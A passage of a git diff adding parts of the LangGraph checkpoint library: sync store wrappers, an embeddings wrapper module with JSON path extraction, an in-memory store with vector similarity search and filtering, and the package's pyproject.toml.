asyncio.run_coroutine_threadsafe(self.abatch(ops), self._loop).result() + + @_check_loop + def get( + self, + namespace: tuple[str, ...], + key: str, + *, + refresh_ttl: bool | None = None, + ) -> Item | None: + return asyncio.run_coroutine_threadsafe( + self.aget(namespace, key=key, refresh_ttl=refresh_ttl), self._loop + ).result() + + @_check_loop + def search( + self, + namespace_prefix: tuple[str, ...], + /, + *, + query: str | None = None, + filter: dict[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + refresh_ttl: bool | None = None, + ) -> list[SearchItem]: + return asyncio.run_coroutine_threadsafe( + self.asearch( + namespace_prefix, + query=query, + filter=filter, + limit=limit, + offset=offset, + refresh_ttl=refresh_ttl, + ), + self._loop, + ).result() + + @_check_loop + def put( + self, + namespace: tuple[str, ...], + key: str, + value: dict[str, Any], + index: Literal[False] | list[str] | None = None, + *, + ttl: float | None | NotProvided = NOT_PROVIDED, + ) -> None: + _validate_namespace(namespace) + asyncio.run_coroutine_threadsafe( + self.aput( + namespace, + key=key, + value=value, + index=index, + ttl=_ensure_ttl(self.ttl_config, ttl), + ), + self._loop, + ).result() + + @_check_loop + def delete( + self, + namespace: tuple[str, ...], + key: str, + ) -> None: + asyncio.run_coroutine_threadsafe( + self.adelete(namespace, key=key), self._loop + ).result() + + @_check_loop + def list_namespaces( + self, + *, + prefix: NamespacePath | None = None, + suffix: NamespacePath | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + ) -> list[tuple[str, ...]]: + return asyncio.run_coroutine_threadsafe( + self.alist_namespaces( + prefix=prefix, + suffix=suffix, + max_depth=max_depth, + limit=limit, + offset=offset, + ), + self._loop, + ).result() + + +def _dedupe_ops(values: list[Op]) -> tuple[list[int] | None, list[Op]]: + """Dedupe operations while preserving order for results. + + Args: + values: List of operations to dedupe + + Returns: + Tuple of (listen indices, deduped operations) + where listen indices map deduped operation results back to original positions + """ + if len(values) <= 1: + return None, list(values) + + dedupped: list[Op] = [] + listen: list[int] = [] + puts: dict[tuple[tuple[str, ...], str], int] = {} + + for op in values: + if isinstance(op, (GetOp, SearchOp, ListNamespacesOp)): + try: + listen.append(dedupped.index(op)) + except ValueError: + listen.append(len(dedupped)) + dedupped.append(op) + elif isinstance(op, PutOp): + putkey = (op.namespace, op.key) + if putkey in puts: + # Overwrite previous put + ix = puts[putkey] + dedupped[ix] = op + listen.append(ix) + else: + puts[putkey] = len(dedupped) + listen.append(len(dedupped)) + dedupped.append(op) + + else: # Any new ops will be treated regularly + listen.append(len(dedupped)) + dedupped.append(op) + + return listen, dedupped + + +async def _run( + aqueue: asyncio.Queue[tuple[asyncio.Future, Op]], + store: weakref.ReferenceType[BaseStore], +) -> None: + while item := await aqueue.get(): + # don't run batch if the future is done (e.g. cancelled) + if item[0].done(): + continue + # check if store is still alive + if s := store(): + try: + # accumulate operations scheduled in same tick + items = [item] + try: + while item := aqueue.get_nowait(): + # don't insert if the future is done (e.g. cancelled) + if item[0].done(): + continue + items.append(item) + except asyncio.QueueEmpty: + pass + # get the operations to run + futs = [item[0] for item in items] + values = [item[1] for item in items] + # action each operation + try: + listen, dedupped = _dedupe_ops(values) + results = await s.abatch(dedupped) + if listen is not None: + results = [results[ix] for ix in listen] + + # set the results of each operation + for fut, result in zip(futs, results, strict=False): + # guard against future being done (e.g. cancelled) + if not fut.done(): + fut.set_result(result) + except Exception as e: + for fut in futs: + # guard against future being done (e.g. cancelled) + if not fut.done(): + fut.set_exception(e) + finally: + # remove strong ref to store + del s + else: + break diff --git a/libs/checkpoint/langgraph/store/base/embed.py b/libs/checkpoint/langgraph/store/base/embed.py new file mode 100644 index 0000000..4255886 --- /dev/null +++ b/libs/checkpoint/langgraph/store/base/embed.py @@ -0,0 +1,433 @@ +"""Utilities for working with embedding functions and LangChain's Embeddings interface. + +This module provides tools to wrap arbitrary embedding functions (both sync and async) +into LangChain's Embeddings interface. This enables using custom embedding functions +with LangChain-compatible tools while maintaining support for both synchronous and +asynchronous operations. +""" + +from __future__ import annotations + +import asyncio +import functools +import json +from collections.abc import Awaitable, Callable, Sequence +from typing import Any + +from langchain_core.embeddings import Embeddings + +EmbeddingsFunc = Callable[[Sequence[str]], list[list[float]]] +"""Type for synchronous embedding functions. + +The function should take a sequence of strings and return a list of embeddings, +where each embedding is a list of floats. The dimensionality of the embeddings +should be consistent for all inputs. +""" + +AEmbeddingsFunc = Callable[[Sequence[str]], Awaitable[list[list[float]]]] +"""Type for asynchronous embedding functions. + +Similar to EmbeddingsFunc, but returns an awaitable that resolves to the embeddings. +""" + + +def ensure_embeddings( + embed: Embeddings | EmbeddingsFunc | AEmbeddingsFunc | str | None, +) -> Embeddings: + """Ensure that an embedding function conforms to LangChain's Embeddings interface. + + This function wraps arbitrary embedding functions to make them compatible with + LangChain's Embeddings interface. It handles both synchronous and asynchronous + functions. + + Args: + embed: Either an existing Embeddings instance, or a function that converts + text to embeddings. If the function is async, it will be used for both + sync and async operations. + + Returns: + An Embeddings instance that wraps the provided function(s). + + ??? example "Examples" + + Wrap a synchronous embedding function: + + ```python + def my_embed_fn(texts): + return [[0.1, 0.2] for _ in texts] + + embeddings = ensure_embeddings(my_embed_fn) + result = embeddings.embed_query("hello") # Returns [0.1, 0.2] + ``` + + Wrap an asynchronous embedding function: + + ```python + async def my_async_fn(texts): + return [[0.1, 0.2] for _ in texts] + + embeddings = ensure_embeddings(my_async_fn) + result = await embeddings.aembed_query("hello") # Returns [0.1, 0.2] + ``` + + Initialize embeddings using a provider string: + + ```python + # Requires langchain>=0.3.9 and langgraph-checkpoint>=2.0.11 + embeddings = ensure_embeddings("openai:text-embedding-3-small") + result = embeddings.embed_query("hello") + ``` + """ + if embed is None: + raise ValueError("embed must be provided") + if isinstance(embed, str): + init_embeddings = _get_init_embeddings() + if init_embeddings is None: + from importlib.metadata import PackageNotFoundError, version + + try: + lc_version = version("langchain") + version_info = f"Found langchain version {lc_version}, but" + except PackageNotFoundError: + version_info = "langchain is not installed;" + + raise ValueError( + f"Could not load embeddings from string '{embed}'. {version_info} " + "loading embeddings by provider:identifier string requires langchain>=0.3.9 " + "as well as the provider-specific package. " + "Install LangChain with: pip install 'langchain>=0.3.9' " + "and the provider-specific package (e.g., 'langchain-openai>=0.3.0'). " + "Alternatively, specify 'embed' as a compatible Embeddings object or python function." + ) + return init_embeddings(embed) + + if isinstance(embed, Embeddings): + return embed + return EmbeddingsLambda(embed) + + +class EmbeddingsLambda(Embeddings): + """Wrapper to convert embedding functions into LangChain's Embeddings interface. + + This class allows arbitrary embedding functions to be used with LangChain-compatible + tools. It supports both synchronous and asynchronous operations, and can handle: + 1. A synchronous function for sync operations (async operations will use sync function) + 2. An async function for both sync/async operations (sync operations will raise an error) + + The embedding functions should convert text into fixed-dimensional vectors that + capture the semantic meaning of the text. + + Args: + func: Function that converts text to embeddings. Can be sync or async. + If async, it will be used for async operations, but sync operations + will raise an error. If sync, it will be used for both sync and async operations. + + ??? example "Examples" + + With a sync function: + + ```python + def my_embed_fn(texts): + # Return 2D embeddings for each text + return [[0.1, 0.2] for _ in texts] + + embeddings = EmbeddingsLambda(my_embed_fn) + result = embeddings.embed_query("hello") # Returns [0.1, 0.2] + await embeddings.aembed_query("hello") # Also returns [0.1, 0.2] + ``` + + With an async function: + + ```python + async def my_async_fn(texts): + return [[0.1, 0.2] for _ in texts] + + embeddings = EmbeddingsLambda(my_async_fn) + await embeddings.aembed_query("hello") # Returns [0.1, 0.2] + # Note: embed_query() would raise an error + ``` + """ + + def __init__( + self, + func: EmbeddingsFunc | AEmbeddingsFunc, + ) -> None: + if func is None: + raise ValueError("func must be provided") + if _is_async_callable(func): + self.afunc = func + else: + self.func = func + + def embed_documents(self, texts: list[str]) -> list[list[float]]: + """Embed a list of texts into vectors. + + Args: + texts: list of texts to convert to embeddings. + + Returns: + list of embeddings, one per input text. Each embedding is a list of floats. + + Raises: + ValueError: If the instance was initialized with only an async function. + """ + func = getattr(self, "func", None) + if func is None: + raise ValueError( + "EmbeddingsLambda was initialized with an async function but no sync function. " + "Use aembed_documents for async operation or provide a sync function." + ) + return func(texts) + + def embed_query(self, text: str) -> list[float]: + """Embed a single piece of text. + + Args: + text: Text to convert to an embedding. + + Returns: + Embedding vector as a list of floats. + + Note: + This is equivalent to calling embed_documents with a single text + and taking the first result. + """ + return self.embed_documents([text])[0] + + async def aembed_documents(self, texts: list[str]) -> list[list[float]]: + """Asynchronously embed a list of texts into vectors. + + Args: + texts: list of texts to convert to embeddings. + + Returns: + list of embeddings, one per input text. Each embedding is a list of floats. + + Note: + If no async function was provided, this falls back to the sync implementation. + """ + afunc = getattr(self, "afunc", None) + if afunc is None: + return await super().aembed_documents(texts) + return await afunc(texts) + + async def aembed_query(self, text: str) -> list[float]: + """Asynchronously embed a single piece of text. + + Args: + text: Text to convert to an embedding. + + Returns: + Embedding vector as a list of floats. + + Note: + This is equivalent to calling aembed_documents with a single text + and taking the first result. + """ + afunc = getattr(self, "afunc", None) + if afunc is None: + return await super().aembed_query(text) + return (await afunc([text]))[0] + + +def get_text_at_path(obj: Any, path: str | list[str]) -> list[str]: + """Extract text from an object using a path expression or pre-tokenized path. + + Args: + obj: The object to extract text from + path: Either a path string or pre-tokenized path list. + + !!! info "Path types handled" + - Simple paths: "field1.field2" + - Array indexing: "[0]", "[*]", "[-1]" + - Wildcards: "*" + - Multi-field selection: "{field1,field2}" + - Nested paths in multi-field: "{field1,nested.field2}" + """ + if not path or path == "$": + return [json.dumps(obj, sort_keys=True, ensure_ascii=False)] + + tokens = tokenize_path(path) if isinstance(path, str) else path + + def _extract_from_obj(obj: Any, tokens: list[str], pos: int) -> list[str]: + if pos >= len(tokens): + if isinstance(obj, (str, int, float, bool)): + return [str(obj)] + elif obj is None: + return [] + elif isinstance(obj, (list, dict)): + return [json.dumps(obj, sort_keys=True, ensure_ascii=False)] + return [] + + token = tokens[pos] + results = [] + + if token.startswith("[") and token.endswith("]"): + if not isinstance(obj, list): + return [] + + index = token[1:-1] + if index == "*": + for item in obj: + results.extend(_extract_from_obj(item, tokens, pos + 1)) + else: + try: + idx = int(index) + if idx < 0: + idx = len(obj) + idx + if 0 <= idx < len(obj): + results.extend(_extract_from_obj(obj[idx], tokens, pos + 1)) + except (ValueError, IndexError): + return [] + + elif token.startswith("{") and token.endswith("}"): + if not isinstance(obj, dict): + return [] + + fields = [f.strip() for f in token[1:-1].split(",")] + for field in fields: + nested_tokens = tokenize_path(field) + if nested_tokens: + current_obj: dict | None = obj + for nested_token in nested_tokens: + if ( + isinstance(current_obj, dict) + and nested_token in current_obj + ): + current_obj = current_obj[nested_token] + else: + current_obj = None + break + if current_obj is not None: + if isinstance(current_obj, (str, int, float, bool)): + results.append(str(current_obj)) + elif isinstance(current_obj, (list, dict)): + results.append( + json.dumps( + current_obj, sort_keys=True, ensure_ascii=False + ) + ) + + # Handle wildcard + elif token == "*": + if isinstance(obj, dict): + for value in obj.values(): + results.extend(_extract_from_obj(value, tokens, pos + 1)) + elif isinstance(obj, list): + for item in obj: + results.extend(_extract_from_obj(item, tokens, pos + 1)) + + # Handle regular field + else: + if isinstance(obj, dict) and token in obj: + results.extend(_extract_from_obj(obj[token], tokens, pos + 1)) + + return results + + return _extract_from_obj(obj, tokens, 0) + + +# Private utility functions + + +def tokenize_path(path: str) -> list[str]: + """Tokenize a path into components. + + !!! info "Types handled" + - Simple paths: "field1.field2" + - Array indexing: "[0]", "[*]", "[-1]" + - Wildcards: "*" + - Multi-field selection: "{field1,field2}" + """ + if not path: + return [] + + tokens = [] + current: list[str] = [] + i = 0 + while i < len(path): + char = path[i] + + if char == "[": # Handle array index + if current: + tokens.append("".join(current)) + current = [] + bracket_count = 1 + index_chars = ["["] + i += 1 + while i < len(path) and bracket_count > 0: + if path[i] == "[": + bracket_count += 1 + elif path[i] == "]": + bracket_count -= 1 + index_chars.append(path[i]) + i += 1 + tokens.append("".join(index_chars)) + continue + + elif char == "{": # Handle multi-field selection + if current: + tokens.append("".join(current)) + current = [] + brace_count = 1 + field_chars = ["{"] + i += 1 + while i < len(path) and brace_count > 0: + if path[i] == "{": + brace_count += 1 + elif path[i] == "}": + brace_count -= 1 + field_chars.append(path[i]) + i += 1 + tokens.append("".join(field_chars)) + continue + + elif char == ".": # Handle regular field + if current: + tokens.append("".join(current)) + current = [] + else: + current.append(char) + i += 1 + + if current: + tokens.append("".join(current)) + + return tokens + + +def _is_async_callable( + func: Any, +) -> bool: + """Check if a function is async. + + This includes both async def functions and classes with async __call__ methods. + + Args: + func: Function or callable object to check. + + Returns: + True if the function is async, False otherwise. + """ + return ( + asyncio.iscoroutinefunction(func) + or hasattr(func, "__call__") # noqa: B004 + and asyncio.iscoroutinefunction(func.__call__) + ) + + +@functools.lru_cache +def _get_init_embeddings() -> Callable[[str], Embeddings] | None: + try: + from langchain.embeddings import init_embeddings # type: ignore + + return init_embeddings + except ImportError: + return None + + +__all__ = [ + "ensure_embeddings", + "EmbeddingsFunc", + "AEmbeddingsFunc", +] diff --git a/libs/checkpoint/langgraph/store/base/py.typed b/libs/checkpoint/langgraph/store/base/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/store/memory/__init__.py b/libs/checkpoint/langgraph/store/memory/__init__.py new file mode 100644 index 0000000..b156c45 --- /dev/null +++ b/libs/checkpoint/langgraph/store/memory/__init__.py @@ -0,0 +1,592 @@ +"""In-memory dictionary-backed store with optional vector search. + +!!! example "Examples" + Basic key-value storage: + ```python + from langgraph.store.memory import InMemoryStore + + store = InMemoryStore() + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + ``` + + Vector search using LangChain embeddings: + ```python + from langchain.embeddings import init_embeddings + from langgraph.store.memory import InMemoryStore + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": init_embeddings("openai:text-embedding-3-small") + } + ) + + # Store documents + store.put(("docs",), "doc1", {"text": "Python tutorial"}) + store.put(("docs",), "doc2", {"text": "TypeScript guide"}) + + # Search by similarity + results = store.search(("docs",), query="python programming") + ``` + + Vector search using OpenAI SDK directly: + ```python + from openai import OpenAI + from langgraph.store.memory import InMemoryStore + + client = OpenAI() + + def embed_texts(texts: list[str]) -> list[list[float]]: + response = client.embeddings.create( + model="text-embedding-3-small", + input=texts + ) + return [e.embedding for e in response.data] + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": embed_texts + } + ) + + # Store documents + store.put(("docs",), "doc1", {"text": "Python tutorial"}) + store.put(("docs",), "doc2", {"text": "TypeScript guide"}) + + # Search by similarity + results = store.search(("docs",), query="python programming") + ``` + + Async vector search using OpenAI SDK: + ```python + from openai import AsyncOpenAI + from langgraph.store.memory import InMemoryStore + + client = AsyncOpenAI() + + async def aembed_texts(texts: list[str]) -> list[list[float]]: + response = await client.embeddings.create( + model="text-embedding-3-small", + input=texts + ) + return [e.embedding for e in response.data] + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": aembed_texts + } + ) + + # Store documents + await store.aput(("docs",), "doc1", {"text": "Python tutorial"}) + await store.aput(("docs",), "doc2", {"text": "TypeScript guide"}) + + # Search by similarity + results = await store.asearch(("docs",), query="python programming") + ``` + +Warning: + This store keeps all data in memory. Data is lost when the process exits. + For persistence, use a database-backed store like PostgresStore. + +Tip: + For vector search, install numpy for better performance: + ```bash + pip install numpy + ``` +""" + +from __future__ import annotations + +import asyncio +import concurrent.futures as cf +import functools +import logging +from collections import defaultdict +from collections.abc import Iterable +from datetime import datetime, timezone +from importlib import util +from typing import Any + +from langchain_core.embeddings import Embeddings + +from langgraph.store.base import ( + BaseStore, + GetOp, + IndexConfig, + Item, + ListNamespacesOp, + MatchCondition, + Op, + PutOp, + Result, + SearchItem, + SearchOp, + ensure_embeddings, + get_text_at_path, + tokenize_path, +) + +logger = logging.getLogger(__name__) + + +class InMemoryStore(BaseStore): + """In-memory dictionary-backed store with optional vector search. + + !!! example "Examples" + Basic key-value storage: + store = InMemoryStore() + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + + Vector search with embeddings: + from langchain.embeddings import init_embeddings + store = InMemoryStore(index={ + "dims": 1536, + "embed": init_embeddings("openai:text-embedding-3-small"), + "fields": ["text"], + }) + + # Store documents + store.put(("docs",), "doc1", {"text": "Python tutorial"}) + store.put(("docs",), "doc2", {"text": "TypeScript guide"}) + + # Search by similarity + results = store.search(("docs",), query="python programming") + + Note: + Semantic search is disabled by default. You can enable it by providing an `index` configuration + when creating the store. Without this configuration, all `index` arguments passed to + `put` or `aput`will have no effect. + + Warning: + This store keeps all data in memory. Data is lost when the process exits. + For persistence, use a database-backed store like PostgresStore. + + Tip: + For vector search, install numpy for better performance: + ```bash + pip install numpy + ``` + """ + + __slots__ = ( + "_data", + "_vectors", + "index_config", + "embeddings", + ) + + def __init__(self, *, index: IndexConfig | None = None) -> None: + # Both _data and _vectors are wrapped in the In-memory API + # Do not change their names + self._data: dict[tuple[str, ...], dict[str, Item]] = defaultdict(dict) + # [ns][key][path] + self._vectors: dict[tuple[str, ...], dict[str, dict[str, list[float]]]] = ( + defaultdict(lambda: defaultdict(dict)) + ) + self.index_config = index + if self.index_config: + self.index_config = self.index_config.copy() + self.embeddings: Embeddings | None = ensure_embeddings( + self.index_config.get("embed"), + ) + self.index_config["__tokenized_fields"] = [ + (p, tokenize_path(p)) if p != "$" else (p, p) + for p in (self.index_config.get("fields") or ["$"]) + ] + + else: + self.index_config = None + self.embeddings = None + + def batch(self, ops: Iterable[Op]) -> list[Result]: + # The batch/abatch methods are treated as internal. + # Users should access via put/search/get/list_namespaces/etc. + results, put_ops, search_ops = self._prepare_ops(ops) + if search_ops: + queryinmem_store = self._embed_search_queries(search_ops) + self._batch_search(search_ops, queryinmem_store, results) + + to_embed = self._extract_texts(put_ops) + if to_embed and self.index_config and self.embeddings: + embeddings = self.embeddings.embed_documents(list(to_embed)) + self._insertinmem_store(to_embed, embeddings) + self._apply_put_ops(put_ops) + return results + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + # The batch/abatch methods are treated as internal. + # Users should access via put/search/get/list_namespaces/etc. + results, put_ops, search_ops = self._prepare_ops(ops) + if search_ops: + queryinmem_store = await self._aembed_search_queries(search_ops) + self._batch_search(search_ops, queryinmem_store, results) + + to_embed = self._extract_texts(put_ops) + if to_embed and self.index_config and self.embeddings: + embeddings = await self.embeddings.aembed_documents(list(to_embed)) + self._insertinmem_store(to_embed, embeddings) + self._apply_put_ops(put_ops) + return results + + # Helpers + + def _filter_items(self, op: SearchOp) -> list[tuple[Item, list[list[float]]]]: + """Filter items by namespace and filter function, return items with their embeddings.""" + namespace_prefix = op.namespace_prefix + + def filter_func(item: Item) -> bool: + if not op.filter: + return True + + return all( + _compare_values(item.value.get(key), filter_value) + for key, filter_value in op.filter.items() + ) + + filtered = [] + for namespace in self._data: + if not ( + namespace[: len(namespace_prefix)] == namespace_prefix + if len(namespace) >= len(namespace_prefix) + else False + ): + continue + + for key, item in self._data[namespace].items(): + if filter_func(item): + if op.query and (embeddings := self._vectors[namespace].get(key)): + filtered.append((item, list(embeddings.values()))) + else: + filtered.append((item, [])) + return filtered + + def _embed_search_queries( + self, + search_ops: dict[int, tuple[SearchOp, list[tuple[Item, list[list[float]]]]]], + ) -> dict[str, list[float]]: + queryinmem_store = {} + if self.index_config and self.embeddings and search_ops: + queries = {op.query for (op, _) in search_ops.values() if op.query} + + if queries: + with cf.ThreadPoolExecutor() as executor: + futures = { + q: executor.submit(self.embeddings.embed_query, q) + for q in list(queries) + } + for query, future in futures.items(): + queryinmem_store[query] = future.result() + + return queryinmem_store + + async def _aembed_search_queries( + self, + search_ops: dict[int, tuple[SearchOp, list[tuple[Item, list[list[float]]]]]], + ) -> dict[str, list[float]]: + queryinmem_store = {} + if self.index_config and self.embeddings and search_ops: + queries = {op.query for (op, _) in search_ops.values() if op.query} + + if queries: + coros = [self.embeddings.aembed_query(q) for q in list(queries)] + results = await asyncio.gather(*coros) + queryinmem_store = dict(zip(queries, results, strict=False)) + + return queryinmem_store + + def _batch_search( + self, + ops: dict[int, tuple[SearchOp, list[tuple[Item, list[list[float]]]]]], + queryinmem_store: dict[str, list[float]], + results: list[Result], + ) -> None: + """Perform batch similarity search for multiple queries.""" + for i, (op, candidates) in ops.items(): + if not candidates: + results[i] = [] + continue + if op.query and queryinmem_store: + query_embedding = queryinmem_store[op.query] + flat_items, flat_vectors = [], [] + scoreless = [] + for item, vectors in candidates: + for vector in vectors: + flat_items.append(item) + flat_vectors.append(vector) + if not vectors: + scoreless.append(item) + + scores = _cosine_similarity(query_embedding, flat_vectors) + sorted_results = sorted( + zip(scores, flat_items, strict=False), + key=lambda x: x[0], + reverse=True, + ) + # max pooling + seen: set[tuple[tuple[str, ...], str]] = set() + kept: list[tuple[float | None, Item]] = [] + for score, item in sorted_results: + key = (item.namespace, item.key) + if key in seen: + continue + ix = len(seen) + seen.add(key) + if ix >= op.offset + op.limit: + break + if ix < op.offset: + continue + + kept.append((score, item)) + if scoreless and len(kept) < op.limit: + # Corner case: if we request more items than what we have embedded, + # fill the rest with non-scored items + kept.extend( + (None, item) for item in scoreless[: op.limit - len(kept)] + ) + + results[i] = [ + SearchItem( + namespace=item.namespace, + key=item.key, + value=item.value, + created_at=item.created_at, + updated_at=item.updated_at, + score=float(score) if score is not None else None, + ) + for score, item in kept + ] + else: + results[i] = [ + SearchItem( + namespace=item.namespace, + key=item.key, + value=item.value, + created_at=item.created_at, + updated_at=item.updated_at, + ) + for (item, _) in candidates[op.offset : op.offset + op.limit] + ] + + def _prepare_ops( + self, ops: Iterable[Op] + ) -> tuple[ + list[Result], + dict[tuple[tuple[str, ...], str], PutOp], + dict[int, tuple[SearchOp, list[tuple[Item, list[list[float]]]]]], + ]: + results: list[Result] = [] + put_ops: dict[tuple[tuple[str, ...], str], PutOp] = {} + search_ops: dict[ + int, tuple[SearchOp, list[tuple[Item, list[list[float]]]]] + ] = {} + for i, op in enumerate(ops): + if isinstance(op, GetOp): + item = self._data[op.namespace].get(op.key) + results.append(item) + elif isinstance(op, SearchOp): + search_ops[i] = (op, self._filter_items(op)) + results.append(None) + elif isinstance(op, ListNamespacesOp): + results.append(self._handle_list_namespaces(op)) + elif isinstance(op, PutOp): + put_ops[(op.namespace, op.key)] = op + results.append(None) + else: + raise ValueError(f"Unknown operation type: {type(op)}") + + return results, put_ops, search_ops + + def _apply_put_ops(self, put_ops: dict[tuple[tuple[str, ...], str], PutOp]) -> None: + for (namespace, key), op in put_ops.items(): + if op.value is None: + self._data[namespace].pop(key, None) + self._vectors[namespace].pop(key, None) + else: + self._data[namespace][key] = Item( + value=op.value, + key=key, + namespace=namespace, + created_at=datetime.now(timezone.utc), + updated_at=datetime.now(timezone.utc), + ) + + def _extract_texts( + self, put_ops: dict[tuple[tuple[str, ...], str], PutOp] + ) -> dict[str, list[tuple[tuple[str, ...], str, str]]]: + if put_ops and self.index_config and self.embeddings: + to_embed = defaultdict(list) + + for op in put_ops.values(): + if op.value is not None and op.index is not False: + if op.index is None: + paths = self.index_config["__tokenized_fields"] + else: + paths = [(ix, tokenize_path(ix)) for ix in op.index] + for path, field in paths: + texts = get_text_at_path(op.value, field) + if texts: + if len(texts) > 1: + for i, text in enumerate(texts): + to_embed[text].append( + (op.namespace, op.key, f"{path}.{i}") + ) + + else: + to_embed[texts[0]].append((op.namespace, op.key, path)) + + return to_embed + + return {} + + def _insertinmem_store( + self, + to_embed: dict[str, list[tuple[tuple[str, ...], str, str]]], + embeddings: list[list[float]], + ) -> None: + indices = [index for indices in to_embed.values() for index in indices] + if len(indices) != len(embeddings): + raise ValueError( + f"Number of embeddings ({len(embeddings)}) does not" + f" match number of indices ({len(indices)})" + ) + for embedding, (ns, key, path) in zip(embeddings, indices, strict=False): + self._vectors[ns][key][path] = embedding + + def _handle_list_namespaces(self, op: ListNamespacesOp) -> list[tuple[str, ...]]: + all_namespaces = list( + self._data.keys() + ) # Avoid collection size changing while iterating + namespaces = all_namespaces + if op.match_conditions: + namespaces = [ + ns + for ns in namespaces + if all(_does_match(condition, ns) for condition in op.match_conditions) + ] + + if op.max_depth is not None: + namespaces = sorted({ns[: op.max_depth] for ns in namespaces}) + else: + namespaces = sorted(namespaces) + return namespaces[op.offset : op.offset + op.limit] + + +@functools.lru_cache(maxsize=1) +def _check_numpy() -> bool: + if bool(util.find_spec("numpy")): + return True + logger.warning( + "NumPy not found in the current Python environment. " + "The InMemoryStore will use a pure Python implementation for vector operations, " + "which may significantly impact performance, especially for large datasets or frequent searches. " + "For optimal speed and efficiency, consider installing NumPy: " + "pip install numpy" + ) + return False + + +def _cosine_similarity(X: list[float], Y: list[list[float]]) -> list[float]: + """ + Compute cosine similarity between a vector X and a matrix Y. + Lazy import numpy for efficiency. + """ + if not Y: + return [] + if _check_numpy(): + import numpy as np + + X_arr = np.array(X) if not isinstance(X, np.ndarray) else X + Y_arr = np.array(Y) if not isinstance(Y, np.ndarray) else Y + X_norm = np.linalg.norm(X_arr) + Y_norm = np.linalg.norm(Y_arr, axis=1) + + # Avoid division by zero + mask = Y_norm != 0 + similarities = np.zeros_like(Y_norm) + similarities[mask] = np.dot(Y_arr[mask], X_arr) / (Y_norm[mask] * X_norm) + return similarities.tolist() + + similarities = [] + for y in Y: + dot_product = sum(a * b for a, b in zip(X, y, strict=False)) + norm1 = sum(a * a for a in X) ** 0.5 + norm2 = sum(a * a for a in y) ** 0.5 + similarity = dot_product / (norm1 * norm2) if norm1 > 0 and norm2 > 0 else 0.0 + similarities.append(similarity) + + return similarities + + +def _does_match(match_condition: MatchCondition, key: tuple[str, ...]) -> bool: + """Whether a namespace key matches a match condition.""" + match_type = match_condition.match_type + path = match_condition.path + + if len(key) < len(path): + return False + + if match_type == "prefix": + for k_elem, p_elem in zip(key, path, strict=False): + if p_elem == "*": + continue # Wildcard matches any element + if k_elem != p_elem: + return False + return True + elif match_type == "suffix": + for k_elem, p_elem in zip(reversed(key), reversed(path), strict=False): + if p_elem == "*": + continue # Wildcard matches any element + if k_elem != p_elem: + return False + return True + else: + raise ValueError(f"Unsupported match type: {match_type}") + + +def _compare_values(item_value: Any, filter_value: Any) -> bool: + """Compare values in a JSONB-like way, handling nested objects.""" + if isinstance(filter_value, dict): + if any(k.startswith("$") for k in filter_value): + return all( + _apply_operator(item_value, op_key, op_value) + for op_key, op_value in filter_value.items() + ) + if not isinstance(item_value, dict): + return False + return all( + _compare_values(item_value.get(k), v) for k, v in filter_value.items() + ) + elif isinstance(filter_value, (list, tuple)): + return ( + isinstance(item_value, (list, tuple)) + and len(item_value) == len(filter_value) + and all( + _compare_values(iv, fv) + for iv, fv in zip(item_value, filter_value, strict=False) + ) + ) + else: + return item_value == filter_value + + +def _apply_operator(value: Any, operator: str, op_value: Any) -> bool: + """Apply a comparison operator, matching PostgreSQL's JSONB behavior.""" + if operator == "$eq": + return value == op_value + elif operator == "$gt": + return float(value) > float(op_value) + elif operator == "$gte": + return float(value) >= float(op_value) + elif operator == "$lt": + return float(value) < float(op_value) + elif operator == "$lte": + return float(value) <= float(op_value) + elif operator == "$ne": + return value != op_value + else: + raise ValueError(f"Unsupported operator: {operator}") diff --git a/libs/checkpoint/langgraph/store/memory/py.typed b/libs/checkpoint/langgraph/store/memory/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/pyproject.toml b/libs/checkpoint/pyproject.toml new file mode 100644 index 0000000..8e03c39 --- /dev/null +++ b/libs/checkpoint/pyproject.toml @@ -0,0 +1,85 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-checkpoint" +version = "4.1.1" +description = "Library with base interfaces for LangGraph checkpoint savers." +authors = [] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +license-files = ['LICENSE'] +dependencies = [ + "langchain-core>=0.2.38", + "ormsgpack>=1.12.0", +] + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint" +Twitter = "https://x.com/langchain_oss" +Slack = "https://www.langchain.com/join-community" +Reddit = "https://www.reddit.com/r/LangChain/" + +[dependency-groups] +test = [ + "pytest", + "pytest-asyncio", + "pytest-mock", + "pytest-watcher", + "dataclasses-json", + "numpy", + "pandas", + "pandas-stubs>=2.2.2.240807", + "redis", +] +lint = [ + "ruff", + "codespell", + "ty", +] +dev = [ + {include-group = "test"}, + {include-group = "lint"}, + "pycryptodome>=3.23.0", +] + +[tool.hatch.build.targets.wheel] +include = ["langgraph"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv" +asyncio_mode = "auto" + +[tool.ruff] +lint.select = [ + "E", # pycodestyle + "F", # Pyflakes + "UP", # pyupgrade + "B", # flake8-bugbear + "I", # isort + "UP", # pyupgrade +] +lint.ignore = ["E501", "B008"] +target-version = "py310" + +[tool.ty.rules] +deprecated = "ignore" +invalid-argument-type = "ignore" +invalid-assignment = "ignore" +invalid-key = "ignore" +invalid-method-override = "ignore" +invalid-return-type = "ignore" +invalid-type-form = "ignore" +redundant-cast = "ignore" +unused-type-ignore-comment = "ignore" +unresolved-attribute = "ignore" +unresolved-import = "ignore" +unsupported-operator = "ignore" + +[tool.pytest-watcher] +now = true +delay = 0.1 +runner_args = ["--ff", "-v", "--tb", "short"] +patterns = ["*.py"] diff --git a/libs/checkpoint/tests/__init__.py b/libs/checkpoint/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/tests/embed_test_utils.py b/libs/checkpoint/tests/embed_test_utils.py new file mode 100644 index 0000000..d28cd95 --- /dev/null +++ b/libs/checkpoint/tests/embed_test_utils.py @@ -0,0 +1,55 @@ +"""Embedding utilities for 